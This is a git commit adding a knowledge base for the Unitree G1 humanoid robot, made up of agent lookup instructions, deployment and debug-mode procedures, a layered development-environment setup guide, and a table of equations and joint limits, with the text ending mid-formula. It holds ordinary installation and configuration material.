commit 7a1e9b1a27e90831e7c77bf26f75d86f49d7db84 Author: Joe DiPrima Date: Sat Feb 14 11:43:00 2026 -0600 Initial commit: Unitree G1 expert knowledge base Complete context system for the Unitree G1 humanoid robot covering: - 21 context topic files (hardware, SDK, locomotion, WBC, mocap, balance, etc.) - 57-term glossary (reference/glossary.yaml) - 38 archived source documents (papers, repos, datasets, community guides) - 3 phase logs documenting research and population history - CLAUDE.md agent control center with lookup protocol Goal: motion capture retargeting with robust always-on push recovery balance. Co-Authored-By: Claude Opus 4.6 diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..d09d1fe --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,155 @@ +# Unitree G1 Humanoid Robot - Expert Knowledge Base + +**Project:** Domain-expert agent for the Unitree G1 humanoid robot — hardware, software, control, and deployment +**Format:** Linked context files (Markdown + YAML) with cross-references +**Status:** Active research — Phase 1 complete (context populated) + +## YOU ARE THE EXPERT AGENT + +**You (Claude) are the Unitree G1 expert.** The `context/` files, `reference/glossary.yaml`, `examples/`, and any source-of-truth documents are YOUR knowledge base. They exist so you can give accurate, deeply-sourced answers to technical questions about the Unitree G1 humanoid robot. + +**ALWAYS consult the context system before answering any G1 question or proposing new ideas.** Do not rely on your training data alone — the context files contain curated, cross-validated data that is more precise and more specific than general knowledge. + +--- + +## How to Answer a Question + +1. **Identify the topic(s).** Use the Quick Topic Lookup table (below) to determine which context file(s) are relevant. Most questions touch 1-3 topics. + +2. **Read the relevant context file(s).** Each file in `context/` is a self-contained deep dive on one topic. Read the full file — don't guess from the filename. + +3. **Follow cross-references.** Context files link to each other via `[[topic-id]]` wiki-links and `related_topics` in their YAML frontmatter. If a question spans topics, follow these links. + +4. **Check equations-and-bounds.md for numbers.** If the question involves a number, formula, or physical bound, check here first. + +5. **Check glossary.yaml for definitions.** Use this when the user asks "what is X?" or when you need to verify a term's meaning. + +6. **Check open-questions.md for known unknowns.** If the question touches something uncertain, this file catalogs what is known vs. unknown. + +7. **Cite your sources.** Reference the specific context file and section. If data came from external literature, include the citation. + +--- + +## Quick Topic Lookup + +| User asks about... | Read this file | +|-------------------------------------------------|---------------------------------------------| +| Getting started, first boot, setup, hello world | `context/getting-started.md` | +| Dev environment, install, WSL2, software stack | `context/dev-environment.md` | +| Hardware specs, dimensions, weight, payload | `context/hardware-specs.md` | +| Joint config, DOF, actuators, motors | `context/joint-configuration.md` | +| Sensors, IMU, cameras, lidar, perception | `context/sensors-perception.md` | +| Walking, locomotion, gait, balance | `context/locomotion-control.md` | +| Whole-body control, WBC, coordinated motion | `context/whole-body-control.md` | +| Motion capture, retargeting, mocap, motion replay | `context/motion-retargeting.md` | +| Push recovery, balance robustness, perturbation | `context/push-recovery-balance.md` | +| Arm manipulation, grasping, dexterous hands | `context/manipulation.md` | +| SDK, API, programming, Unitree SDK2 | `context/sdk-programming.md` | +| ROS2, middleware, communication, DDS | `context/ros2-integration.md` | +| Simulation, Isaac Sim, MuJoCo, Gazebo | `context/simulation.md` | +| Reinforcement learning, imitation learning, AI | `context/learning-and-ai.md` | +| Power, battery, runtime, charging | `context/power-system.md` | +| Safety, limits, emergency stop, compliance | `context/safety-limits.md` | +| Networking, WiFi, Ethernet, remote control | `context/networking-comms.md` | +| Deployment, real-world, field operation | `context/deployment-operations.md` | +| Formulas, bounds, constants, kinematics | `context/equations-and-bounds.md` | +| What we don't know, gaps, uncertainties | `context/open-questions.md` | +| Term definitions, units, acronyms | `reference/glossary.yaml` | +| Worked calculations, code examples | `examples/*.md` | + +--- + +## How to Formulate New Ideas + +When the user asks you to reason about something novel: + +1. **Ground it in existing data.** Read relevant context files first. +2. **Check the bounds.** Verify reasoning doesn't violate known constraints (joint limits, torque limits, battery life, etc.). +3. **Cross-validate.** Multiple sources often cover the same quantity — use them as cross-checks. +4. **Flag uncertainty honestly.** If reasoning depends on uncertain parameters, say so. +5. **Preserve new insights.** If reasoning produces a genuinely new finding, offer to add it to the appropriate context file so it persists for future sessions. + +--- + +## Conventions (CRITICAL) + +- **Units:** SI units unless otherwise noted. Angles in radians for computation, degrees for human-readable output. Masses in kg. Torques in Nm. +- **Coordinate frame:** Follow Unitree's body-frame convention — X forward, Y left, Z up (right-hand rule). +- **Joint naming:** Use Unitree's official joint naming scheme (e.g., `left_hip_pitch`, `right_knee`). Do not invent joint names. +- **SDK version:** Always specify which SDK version (SDK2, unitree_sdk2_python, etc.) when discussing API calls. APIs differ between versions. +- **Model variant:** The G1 has multiple configurations (e.g., different DOF counts, with/without dexterous hands). Always clarify which variant is being discussed. + +## DO NOT + +- Do not assume G1 specs are the same as H1 or other Unitree robots — they differ significantly. +- Do not fabricate joint limits, torque values, or sensor specs. If not in the context files, say "not yet documented" and flag it for research. +- Do not assume ROS2 package names or topic names — check the SDK/ROS2 context files. +- Do not confuse the simulated robot with the real hardware — always specify which environment. +- Do not recommend actions that bypass safety limits without explicit user confirmation and safety analysis. + +--- + +## Evidence Tiers + +| Tier | Label | Meaning | +|------|---------------|----------------------------------------------------------------| +| T0 | Spec Sheet | Official Unitree documentation, datasheets, confirmed specs | +| T1 | Verified | Community-verified through testing, multiple independent sources | +| T2 | Observed | Reported by users/developers, partially validated | +| T3 | Inferred | Grounded reasoning from known specs, not directly confirmed | +| T4 | Hypothesis | Consistent with known data but no direct evidence | + +- Tag individual claims, not sections. One paragraph can mix tiers. +- A derivation inherits the highest (least certain) tier of its inputs. +- Mention the tier to the user when presenting T3 or T4 claims. + +--- + +## Key Concepts Quick Map + +``` +Hardware Platform +├── Joint Configuration ── actuators, DOF, range of motion +│ ├── Locomotion Control ── gait, balance, walking +│ │ ├── Push Recovery & Balance ── robust stability, perturbation curriculum +│ │ └── Whole-Body Control ── WBC, coordinated loco-manipulation +│ │ └── Motion Retargeting ── mocap to robot, IK, RL tracking +│ └── Manipulation ── arms, hands, grasping +├── Sensors & Perception ── IMU, cameras, lidar, force/torque +├── Power System ── battery, runtime, charging +└── Safety & Limits ── joint limits, torque limits, e-stop, CBFs + +Software Stack +├── SDK & Programming ── unitree_sdk2, Python/C++ API +│ ├── ROS2 Integration ── middleware, topics, services +│ └── Networking & Comms ── WiFi, Ethernet, DDS +├── Simulation ── Isaac Sim, MuJoCo, Gazebo +└── Learning & AI ── RL, imitation learning, motion tracking, residual policies + +Operations +├── Deployment ── real-world setup, field operation +└── Equations & Bounds ── kinematics, dynamics, limits, retargeting +``` + +--- + +## How to Add Content + +- **New findings on existing topic:** Edit the relevant `context/*.md` file +- **New topic:** Create a new file in `context/`, add cross-references to related topics, add a row to the Quick Topic Lookup table +- **Split a topic:** When a context file exceeds ~500 lines, decompose into subtopics +- **New research phase:** Create a new file in `phases/` +- **New worked example:** Add to `examples/` +- **New glossary terms:** Append to `reference/glossary.yaml` +- **Resolved open question:** Move from "Open" to "Resolved" section in `context/open-questions.md` +- **Archived content:** Move to `_archive/` — never delete, always archive + +--- + +## History + +| Phase | Date | Summary | +|-------|------------|---------------------------------------------------------------------------| +| 0 | 2026-02-13 | Context system scaffolding created — 15 topic files, glossary, templates | +| 1 | 2026-02-13 | Populated all context files from official docs, GitHub repos, 6 research papers, 5 community guides. ~30 source documents archived. Glossary expanded to 37 terms. 9 open questions resolved. | +| 2 | 2026-02-13 | Expanded context for motion capture + robust balance. 3 new topic files (whole-body-control, motion-retargeting, push-recovery-balance). ~15 new source docs. Glossary expanded to ~57 terms. 6 new open questions. | diff --git a/context/deployment-operations.md b/context/deployment-operations.md new file mode 100644 index 0000000..62dbf5a --- /dev/null +++ b/context/deployment-operations.md @@ -0,0 +1,147 @@ +--- +id: deployment-operations +title: "Deployment & Field Operations" +status: established +source_sections: "reference/sources/official-quick-start.md, reference/sources/official-user-manual.md, reference/sources/community-robonomics-experience.md" +related_topics: [safety-limits, power-system, networking-comms] +key_equations: [] +key_terms: [ota_update, development_computer, locomotion_computer] +images: [] +examples: [] +open_questions: + - "Complete pre-flight checklist from official manual" + - "Field transport case specifications" + - "Multi-robot coordination capabilities" + - "Firmware update procedure (OTA details)" +--- + +# Deployment & Field Operations + +Real-world setup, operation procedures, and field deployment of the G1. + +## 1. Initial Setup Procedure + +Based on official quick start guide and community experience: [T0/T1] + +### Unboxing & First Boot +1. Unpack robot and charger from shipping container +2. Install battery (quick-release smart battery connector) +3. Verify battery charge level +4. Power on the robot +5. Wait for system boot (locomotion + development computers) +6. Robot should enter default standing mode + +### Network Setup +1. Connect to the robot's WiFi network from your development machine +2. Configure your machine's IP to 192.168.123.x (avoid .161, .164, .20) +3. Verify connectivity by pinging 192.168.123.164 (dev computer) +4. Install CycloneDDS 0.10.2 and unitree_sdk2 on your dev machine +5. Test: Subscribe to `rt/lowstate` to verify DDS data flow + +### Software Environment +- Install unitree_sdk2 (C++) or unitree_sdk2_python +- CycloneDDS 0.10.2 (exact version required) +- For ROS2: Install unitree_ros2 package +- For simulation: Install unitree_mujoco + +## 2. Pre-Operation Checklist + +Recommended checks before each operation session: [T2 — Best practice from community] + +- [ ] Battery charge level > 30% +- [ ] All joints move freely (no mechanical binding) +- [ ] WiFi/Ethernet connectivity confirmed +- [ ] DDS communication verified (rt/lowstate receiving data) +- [ ] Operating area clear (minimum 2m clearance around robot) +- [ ] Safety spotter present with wireless remote / e-stop access +- [ ] Recording system active (data logging enabled) +- [ ] Emergency procedures reviewed with all personnel present + +## 3. Debug Mode (Low-Level Control Access) + +To gain full low-level joint control (bypassing the stock locomotion controller): [T1 — Weston Robot guide] + +1. **Suspend the robot** on a stand or safety harness (it WILL fall without support) +2. Put the robot into **damping state** using the remote +3. Press **L2 + R2** on the wireless remote simultaneously +4. The stock locomotion controller is now disabled +5. You have full control via `rt/lowcmd` for all joints +6. To exit debug mode: power cycle the robot + +**WARNING:** In debug mode, the robot has ZERO balance. The legs will go limp. This is for development with the robot safely suspended — never activate debug mode while the robot is standing on the ground. + +## 4. Operating Procedures + +### Standard Workflow +1. Power on and wait for boot completion +2. Verify robot state via `rt/lowstate` +3. Command standing mode via high-level API +4. Execute planned tasks (locomotion, manipulation, etc.) +5. Return to standing mode +6. Command sit/lie down +7. Power off + +### Remote Operation via WiFi +- Connect to robot WiFi (WiFi 6, 802.11ax) +- Use SDK from any machine on 192.168.123.0/24 +- Monitor robot state continuously +- **Caution:** WiFi latency varies — not recommended for safety-critical real-time control [T2] + +### Development on Jetson +- SSH into 192.168.123.164 (development computer) +- Develop and test code directly on the Jetson Orin NX +- Lower latency than WiFi for real-time control +- Recommended for production deployments [T1] + +## 5. Troubleshooting + +Common issues and resolutions from community experience: [T2 — Robonomics report + community] + +| Issue | Likely Cause | Resolution | +|-------------------------------|----------------------------------------|-----------------------------------| +| No DDS data received | CycloneDDS version mismatch | Install exactly v0.10.2 | +| Robot won't stand | Low battery or boot not complete | Charge battery, wait for full boot | +| Jerky movements | Control loop rate too low | Ensure publishing at 500 Hz | +| WiFi disconnects | Range or interference | Use wired Ethernet connection | +| SDK examples fail | Network interface not specified | Add interface param (e.g., enp2s0) | +| Motion state topic issues | Known SDK quirk | Check Robonomics blog for details | +| Python SDK install fails | CycloneDDS not compiled from source | Build CycloneDDS separately, set CYCLONEDDS_HOME | + +## 6. Maintenance + +### Firmware Updates +- **Method:** OTA (Over-The-Air) update system [T0] +- **Current version:** v3.2+ (as of early 2025) +- **Notable updates:** + - v1.4.5: Training Mode for custom motion capture via Unitree Explore App + - v3.2+: Improved walking stability, faster gait transitions, preliminary LLM integration (EDU) + +### Hardware Inspection +- Inspect joints for unusual noise or binding (regular interval TBD) +- Check cable routing through hollow motor shafts +- Verify encoder readings match expected ranges +- Inspect Dex3-1 hand fingers and tactile sensors (if equipped) +- Check battery connector and quick-release mechanism + +## 7. Transport & Storage + +- **Folded dimensions:** 0.69m height when folded for transport [T0] +- **Weight:** ~35 kg — requires two people or a wheeled cart for transport [T0] +- **Storage:** Remove battery for long-term storage. Store in dry, temperature-controlled environment. [T3 — Best practice] +- **Battery storage:** Store LiPo batteries at ~50% charge for long-term storage. Do not store fully charged or fully depleted. [T3 — Standard LiPo practice] + +## 8. Useful Resources + +| Resource | URL / Location | +|-----------------------------|-----------------------------------------------------| +| Official developer guide | support.unitree.com/home/en/G1_developer | +| Quick start guide | support.unitree.com/home/en/G1_developer/quick_start | +| Robonomics experience report | reference/sources/community-robonomics-experience.md | +| RoboStore startup guide | robostore.com/blogs/news/unitree-g1-startup-guide | +| Weston Robot dev guide | docs.westonrobot.com/tutorial/unitree/g1_dev_guide/ | + +## Key Relationships +- Governed by: [[safety-limits]] (operational constraints, pre-op checks) +- Constrained by: [[power-system]] (battery runtime limits deployment duration) +- Requires: [[networking-comms]] (WiFi/Ethernet for remote operation) +- Uses: [[sdk-programming]] (SDK for all robot interaction) diff --git a/context/dev-environment.md b/context/dev-environment.md new file mode 100644 index 0000000..1bdfe64 --- /dev/null +++ b/context/dev-environment.md @@ -0,0 +1,399 @@ +--- +id: dev-environment +title: "Development Environment Setup" +status: established +source_sections: "reference/sources/github-unitree-sdk2.md, reference/sources/github-unitree-sdk2-python.md, reference/sources/github-unitree-mujoco.md, reference/sources/github-unitree-rl-gym.md, reference/sources/github-groot-wbc.md" +related_topics: [getting-started, sdk-programming, simulation, learning-and-ai, whole-body-control, motion-retargeting] +key_equations: [] +key_terms: [unitree_sdk2, cyclone_dds, sim_to_real, domain_id] +images: [] +examples: [] +open_questions: + - "Isaac Gym Preview 4 compatibility with RTX 5090 / Blackwell" + - "WSL2 GPU passthrough latency impact on RL training throughput" + - "GR00T-WBC Docker vs native install trade-offs" +--- + +# Development Environment Setup + +Full software stack for G1 development on Windows 10 with WSL2. Install in layers — you don't need everything on day one. + +**Hardware assumed:** Windows 10 PC with NVIDIA RTX 5090 (32GB VRAM), WSL2, developing for a G1 EDU with Jetson Orin NX. + +--- + +## Layer 1: WSL2 + Ubuntu (Install First) + +### Enable WSL2 +Open PowerShell as Administrator on Windows: +```powershell +wsl --install -d Ubuntu-22.04 +``` + +Reboot when prompted. On first launch, create a username and password. + +### Verify WSL2 +```bash +# Inside WSL2 Ubuntu +wsl --version # From PowerShell — should show WSL2 +uname -r # Inside Ubuntu — should show a Linux kernel +``` + +### NVIDIA CUDA for WSL2 +1. Install the **NVIDIA GPU driver on Windows** (not inside WSL) — download from nvidia.com +2. Inside WSL2, install the CUDA toolkit: +```bash +# Add NVIDIA package repo +wget https://developer.download.nvidia.com/compute/cuda/repos/wsl-ubuntu/x86_64/cuda-keyring_1.1-1_all.deb +sudo dpkg -i cuda-keyring_1.1-1_all.deb +sudo apt update +sudo apt install cuda-toolkit-12-6 +``` +3. Verify: +```bash +nvidia-smi # Should show your RTX 5090 +nvcc --version # Should show CUDA version +``` + +**Note:** Do NOT install NVIDIA drivers inside WSL2. The Windows driver handles GPU passthrough automatically. [T1] + +### Essential System Packages +```bash +sudo apt update && sudo apt install -y \ + build-essential \ + cmake \ + git \ + python3.10 \ + python3.10-venv \ + python3-pip \ + libyaml-cpp-dev \ + libeigen3-dev \ + libboost-all-dev \ + libspdlog-dev \ + libfmt-dev \ + libglfw3-dev \ + wget \ + curl \ + unzip +``` + +### Create a Project Directory +```bash +mkdir -p ~/unitree && cd ~/unitree +``` + +All repos will be cloned here. + +--- + +## Layer 2: CycloneDDS 0.10.2 (CRITICAL) + +**This MUST be version 0.10.2 exactly.** Any other version causes silent DDS communication failures with the G1. [T1] + +```bash +cd ~/unitree +git clone -b 0.10.2 https://github.com/eclipse-cyclonedds/cyclonedds.git +cd cyclonedds +mkdir build && cd build +cmake .. -DCMAKE_INSTALL_PREFIX=$HOME/unitree/cyclonedds/install +make -j$(nproc) +make install +``` + +Add to `~/.bashrc`: +```bash +echo 'export CYCLONEDDS_HOME="$HOME/unitree/cyclonedds/install"' >> ~/.bashrc +echo 'export LD_LIBRARY_PATH="$HOME/unitree/cyclonedds/install/lib:$LD_LIBRARY_PATH"' >> ~/.bashrc +echo 'export PATH="$HOME/unitree/cyclonedds/install/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc +``` + +Verify: +```bash +echo $CYCLONEDDS_HOME # Should print the install path +``` + +--- + +## Layer 3: Unitree SDKs + +### Python SDK (Start Here) +```bash +cd ~/unitree +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python +pip3 install -e . +``` + +Verify: +```bash +python3 -c "import unitree_sdk2py; print('SDK OK')" +``` + +If it fails, it's almost always a CycloneDDS issue. Verify `CYCLONEDDS_HOME` is set. + +### C++ SDK (For Production / Real-Time) +```bash +cd ~/unitree +git clone https://github.com/unitreerobotics/unitree_sdk2.git +cd unitree_sdk2 +mkdir build && cd build +cmake .. +make -j$(nproc) +sudo make install +``` + +--- + +## Layer 4: MuJoCo Simulation + +### MuJoCo Python +```bash +pip3 install mujoco +pip3 install pygame # For joystick control +``` + +### Unitree MuJoCo Simulator +```bash +cd ~/unitree +git clone https://github.com/unitreerobotics/unitree_mujoco.git +``` + +### Run the Simulator +```bash +cd ~/unitree/unitree_mujoco/simulate_python +python3 unitree_mujoco.py +``` + +This opens a MuJoCo window with the G1. If you're in WSL2, you need an X server or WSLg (Windows 11 has it built in; Windows 10 needs VcXsrv or similar). + +### WSL2 GUI on Windows 10 +If MuJoCo can't open a window, install VcXsrv on Windows: +1. Download VcXsrv from sourceforge +2. Launch with "Disable access control" checked +3. In WSL2: +```bash +echo 'export DISPLAY=$(cat /etc/resolv.conf | grep nameserver | awk "{print \$2}"):0' >> ~/.bashrc +source ~/.bashrc +``` + +**Windows 11 alternative:** WSLg handles this automatically — no extra setup needed. + +### Connecting SDK to Simulator +The simulator uses DDS just like the real robot. In your Python code: + +```python +# For simulation (localhost, domain ID 1) +ChannelFactoryInitialize(1, "lo") + +# For real robot (your network interface) +ChannelFactoryInitialize(0, "enp2s0") # Change to your interface name +``` + +Same code, one line changes. [T0] + +--- + +## Layer 5: RL Training (Install When Starting Phase C) + +### Python Virtual Environment (Recommended) +Keep RL dependencies separate to avoid conflicts: +```bash +cd ~/unitree +python3 -m venv rl_env +source rl_env/bin/activate +``` + +### PyTorch with CUDA +```bash +pip3 install torch torchvision --index-url https://download.pytorch.org/whl/cu124 +``` + +Verify GPU access: +```python +python3 -c "import torch; print(torch.cuda.is_available(), torch.cuda.get_device_name(0))" +# Should print: True NVIDIA GeForce RTX 5090 +``` + +### Isaac Gym (Preview 4) +Isaac Gym requires downloading from NVIDIA (free account required): + +1. Go to https://developer.nvidia.com/isaac-gym +2. Download Isaac Gym Preview 4 (`.tar.gz`) +3. Extract and install: +```bash +cd ~/unitree +tar -xzf IsaacGym_Preview_4.tar.gz +cd isaacgym/python +pip3 install -e . +``` + +Verify: +```bash +cd ~/unitree/isaacgym/python/examples +python3 joint_monkey.py # Should open a sim window with a robot +``` + +**Note:** Isaac Gym Preview 4 uses an older gym API. If you see gym version warnings, install: `pip3 install gym==0.23.1` [T2] + +**RTX 5090 note:** Isaac Gym Preview 4 was released before Blackwell GPUs. It should work via CUDA compatibility, but if you hit issues, Isaac Lab (see Layer 6) is the actively maintained alternative. [T3] + +### unitree_rl_gym (G1 RL Training) +```bash +cd ~/unitree +git clone https://github.com/unitreerobotics/unitree_rl_gym.git +cd unitree_rl_gym +pip3 install -e . +``` + +### Train Your First Policy +```bash +cd ~/unitree/unitree_rl_gym +python3 legged_gym/scripts/train.py --task=g1 +``` + +This trains a G1 locomotion policy using PPO. On an RTX 5090 with 32GB VRAM, you can run thousands of parallel environments. Training a basic walking policy takes 1-4 hours depending on settings. [T2] + +### Validate in MuJoCo (Sim2Sim) +```bash +python3 legged_gym/scripts/play.py --task=g1 # Replay in Isaac Gym +# Then Sim2Sim transfer to MuJoCo for cross-validation +``` + +### Deploy to Real Robot (Sim2Real) +The `deploy/` directory in unitree_rl_gym contains C++ deployment code. This runs the trained policy and sends commands via `rt/lowcmd`. See [[getting-started]] §8 and [[locomotion-control]] §9. + +--- + +## Layer 6: Whole-Body Control (Install When Starting Phase F) + +### GR00T-WBC (NVIDIA) +```bash +cd ~/unitree +git clone https://github.com/NVlabs/GR00T-WholeBodyControl.git +cd GR00T-WholeBodyControl +``` + +GR00T-WBC provides Docker-based setup: +```bash +# Docker approach (recommended — handles all dependencies) +docker build -t groot-wbc . +docker run --gpus all -it groot-wbc +``` + +Or native install (follow the repo's README for detailed dependency list). + +Key files: +- `deploy_g1.py` — orchestration script for real G1 deployment +- Pre-trained locomotion models included +- LeRobot integration for data collection + behavior cloning + +### Pinocchio (Rigid Body Dynamics / IK) +```bash +# Via conda (recommended) +conda install -c conda-forge pinocchio + +# Or via pip +pip3 install pin +``` + +Verify: +```bash +python3 -c "import pinocchio; print('Pinocchio', pinocchio.__version__)" +``` + +### Isaac Lab (Optional — Alternative to Isaac Gym) +Isaac Lab is NVIDIA's actively maintained replacement for Isaac Gym. If Isaac Gym has issues with your RTX 5090: + +1. Install Isaac Sim 4.5.0 or 5.0.0 from NVIDIA Omniverse +2. Clone `unitreerobotics/unitree_sim_isaaclab` +3. Follow the repo's setup instructions + +Isaac Lab provides better integration with GR00T-WBC and newer GPU support. [T0] + +--- + +## Layer 7: Motion Data (Install When Starting Phase G) + +### SMPL Body Model +```bash +pip3 install smplx +pip3 install trimesh # Mesh utilities +``` + +### AMASS Dataset (Pre-Retargeted for G1) +```bash +pip3 install huggingface_hub + +# Download the retargeted dataset +python3 -c " +from huggingface_hub import snapshot_download +snapshot_download(repo_id='ember-lab-berkeley/AMASS_Retargeted_for_G1', local_dir='~/unitree/data/amass_g1') +" +``` + +This provides thousands of human motions already mapped to the G1's 29-DOF joint structure. Format: numpy arrays of shape `[-1, 36]` (29 joint positions + 7 base state). [T1] + +### CMU Motion Capture Database (Optional — Raw Source Data) +Available at mocap.cs.cmu.edu in BVH/C3D/ASF+AMC formats. Use AMASS instead for G1 — it includes CMU data already retargeted. + +--- + +## Jetson Orin NX Setup (On the Robot) + +The Jetson comes with most dependencies pre-installed. Key things to verify/add: + +```bash +# SSH in +ssh unitree@192.168.123.164 # password: 123 + +# Verify CycloneDDS +echo $CYCLONEDDS_HOME # Should be /home/unitree/cyclonedds/install + +# Verify Python SDK +python3 -c "import unitree_sdk2py; print('OK')" + +# If SDK not installed: +cd ~ +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python +pip3 install -e . +``` + +For production deployment, you'll copy your trained policy weights to the Jetson and run inference there. The Jetson's 100 TOPS handles RL policy inference easily (< 1ms per step). [T1] + +--- + +## Quick Reference: What Runs Where + +| Machine | What Runs | Why | +|---|---|---| +| Your PC (WSL2) | RL training, simulation, policy development | GPU power (RTX 5090), fast iteration | +| Jetson Orin NX | Policy inference, real-time control, deployment | On the robot, low DDS latency | +| Locomotion Computer (RK3588) | Stock controller OR passthrough in debug mode | Not user-programmable | + +Your dev workflow: train on PC → validate in sim on PC → copy weights to Jetson → deploy on real robot. + +--- + +## Install Order Summary + +``` +Day 1: Layer 1 (WSL2 + Ubuntu + CUDA) + Layer 2 (CycloneDDS 0.10.2) + Layer 3 (Python SDK) + Layer 4 (MuJoCo + unitree_mujoco) + +Week 3+: Layer 5 (PyTorch, Isaac Gym, unitree_rl_gym) + +Month 2+: Layer 6 (GR00T-WBC, Pinocchio) + Layer 7 (AMASS dataset, SMPL) +``` + +## Key Relationships +- Prereq for: [[getting-started]] (need SDK installed to talk to robot) +- Uses: [[sdk-programming]] (SDK installation details) +- Enables: [[simulation]] (MuJoCo + Isaac Gym environments) +- Enables: [[learning-and-ai]] (RL training pipeline) +- Enables: [[whole-body-control]] (GR00T-WBC framework) +- Enables: [[motion-retargeting]] (AMASS dataset, Pinocchio IK) diff --git a/context/equations-and-bounds.md b/context/equations-and-bounds.md new file mode 100644 index 0000000..0dc030e --- /dev/null +++ b/context/equations-and-bounds.md @@ -0,0 +1,210 @@ +--- +id: equations-and-bounds +title: "Equations, Constants, and Validation Bounds" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-developer-guide.md" +related_topics: [hardware-specs, joint-configuration, locomotion-control, safety-limits, push-recovery-balance, whole-body-control, motion-retargeting] +key_equations: [forward_kinematics, inverse_dynamics, com, zmp, battery_runtime] +key_terms: [dof, actuator, joint, torque] +images: [] +examples: [] +open_questions: + - "Per-joint velocity limits (dq_max) — not published" + - "Exact link masses and inertia tensors (available in URDF)" + - "Ankle joint range of motion" +--- + +# Equations, Constants, and Validation Bounds + +Reference for all formulas, physical constants, and validation ranges used across the knowledge base. Always check values here before using a number in a calculation. + +--- + +## 1. Physical Constants + +| Constant | Symbol | Value | Unit | +|----------------|--------|-------------|--------| +| Gravity | g | 9.81 | m/s^2 | +| Pi | pi | 3.14159... | — | + +--- + +## 2. Robot Parameters + +| Parameter | Symbol | Value | Unit | Source | Tier | +|---------------------------|----------|----------|-------|------------------------|------| +| Total mass | m_total | ~35 | kg | Official product page | T0 | +| Standing height | h_stand | 1.32 | m | Official product page | T0 | +| Folded height | h_fold | 0.69 | m | Official product page | T0 | +| Width | w | 0.45 | m | Official product page | T0 | +| Depth | d | 0.20 | m | Official product page | T0 | +| Leg length (combined) | l_leg | 0.60 | m | Official product page | T0 | +| Total DOF (base variant) | n_dof | 23 | count | Official spec sheet | T0 | +| Total DOF (mid variant) | n_dof | 29 | count | Official spec sheet | T0 | +| Total DOF (full variant) | n_dof | 43 | count | Official spec sheet | T0 | +| Battery voltage (charger) | V_charge | 54 | V | Official spec sheet | T0 | +| Battery voltage (nominal) | V_batt | ~48.1 | V | 13-cell × 3.7V/cell | T3 | +| Battery capacity | Q_batt | 9,000 | mAh | Official spec sheet | T0 | +| Battery energy (estimated) | E_batt | ~432 | Wh | 9Ah × 48.1V | T3 | +| Max walking speed | v_max | 2.0 | m/s | Official spec sheet | T0 | +| Max payload per arm (base) | m_pay | 2 | kg | Official spec sheet | T0 | +| Max payload per arm (EDU) | m_pay | 3 | kg | Official spec sheet | T0 | +| Max knee torque (base) | tau_knee | 90 | Nm | Official spec sheet | T0 | +| Max knee torque (EDU) | tau_knee | 120 | Nm | Official spec sheet | T0 | +| Control loop rate | f_ctrl | 500 | Hz | Developer guide | T0 | +| DDS latency | t_dds | 2 | ms | Developer guide | T0 | +| Runtime (continuous) | t_run | ~2 | hr | Official spec sheet | T0 | + +--- + +## 3. Joint Limits + +### Leg Joints (per leg) + +| Joint Name | q_min (deg) | q_max (deg) | q_min (rad) | q_max (rad) | tau_max (Nm) | Source | Tier | +|---------------------|-------------|-------------|-------------|-------------|-------------|-----------------|------| +| hip_yaw | -158 | +158 | -2.758 | +2.758 | — | Official specs | T0 | +| hip_roll | -30 | +170 | -0.524 | +2.967 | — | Official specs | T0 | +| hip_pitch | -154 | +154 | -2.688 | +2.688 | — | Official specs | T0 | +| knee | 0 | +165 | 0 | +2.880 | 90/120 | Official specs | T0 | +| ankle_pitch | — | — | — | — | — | Not documented | — | +| ankle_roll | — | — | — | — | — | Not documented | — | + +### Waist Joints + +| Joint Name | q_min (deg) | q_max (deg) | q_min (rad) | q_max (rad) | Source | Tier | +|---------------------|-------------|-------------|-------------|-------------|-----------------|------| +| waist_yaw | -155 | +155 | -2.705 | +2.705 | Official specs | T0 | +| waist_pitch | — | — | — | — | 29/43-DOF only | — | +| waist_roll | — | — | — | — | 29/43-DOF only | — | + +### Arm/Hand Limits +Arm and hand joint limits not yet published in official documentation. Available in URDF files at `unitree_ros/robots/g1_description/`. + +--- + +## 4. Key Equations + +### 4a. Forward Kinematics +``` +T_ee = T_base * T_1(q_1) * T_2(q_2) * ... * T_n(q_n) +``` +Where T_i(q_i) is the homogeneous transformation for joint i at angle q_i. +DH parameters available in URDF model. + +### 4b. Inverse Dynamics (Recursive Newton-Euler) +``` +tau = M(q) * ddq + C(q, dq) * dq + G(q) +``` +- M(q): mass/inertia matrix (29×29 for 29-DOF config) +- C(q, dq): Coriolis and centrifugal terms +- G(q): gravity vector (dominated by 35 kg total mass at g=9.81) + +### 4c. Center of Mass +``` +CoM = (1/m_total) * sum(m_i * p_i) +``` +Where m_i and p_i are the mass and position of each link. Link masses available in URDF. + +### 4d. Zero Moment Point (ZMP) +``` +ZMP_x = (sum(m_i * (g * x_i - z_i * ddx_i + x_i * ddz_i))) / (sum(m_i * (g + ddz_i))) +``` +Critical for bipedal balance — ZMP must remain within the support polygon. +**Note:** The G1's RL-based controller learns ZMP-like constraints implicitly rather than using explicit ZMP computation. [T1] + +### 4e. Battery Runtime Estimate +``` +t_runtime = E_batt / P_avg +``` +- E_batt ≈ 432 Wh [T3] +- P_avg varies: ~216 W for 2hr runtime (walking), lower for standing [T3] +- P_avg = E_batt / t_runtime = 432 / 2 ≈ 216 W average during continuous operation [T3] + +### 4f. Control Loop Timing +``` +dt_control = 1 / f_ctrl = 1 / 500 = 0.002 s = 2 ms +``` +Motor commands should be published at this rate for smooth control. [T0] + +### 4g. Support Polygon (Balance) +``` +For double support (both feet on ground): + Support polygon = convex hull of all foot contact points + +For single support (one foot): + Support polygon = convex hull of stance foot contact points + +Balance condition (static): + ZMP ∈ support polygon +``` +The CoM projection onto the ground plane must remain within the support polygon for static stability. Dynamic stability (walking) allows temporary excursions. See [[push-recovery-balance]]. [T1] + +### 4h. Control Barrier Function (CBF) +``` +Safety function: h(x) ≥ 0 (safe region) +CBF condition: ḣ(x,u) + α·h(x) ≥ 0 (forward invariance) +``` +- α > 0: convergence rate parameter +- For balance: h(x) = distance from CoM projection to nearest support polygon edge +- For joint limits: h(x) = min(q - q_min, q_max - q) +See [[push-recovery-balance]] §3c and [[safety-limits]] §8. [T1] + +### 4i. Kinematic Scaling (Motion Retargeting) +``` +q_robot = retarget(p_human) + +Simple scaling: + p_robot_i = p_human_i * (l_robot_i / l_human_i) + +Where: + l_robot_i = robot limb segment 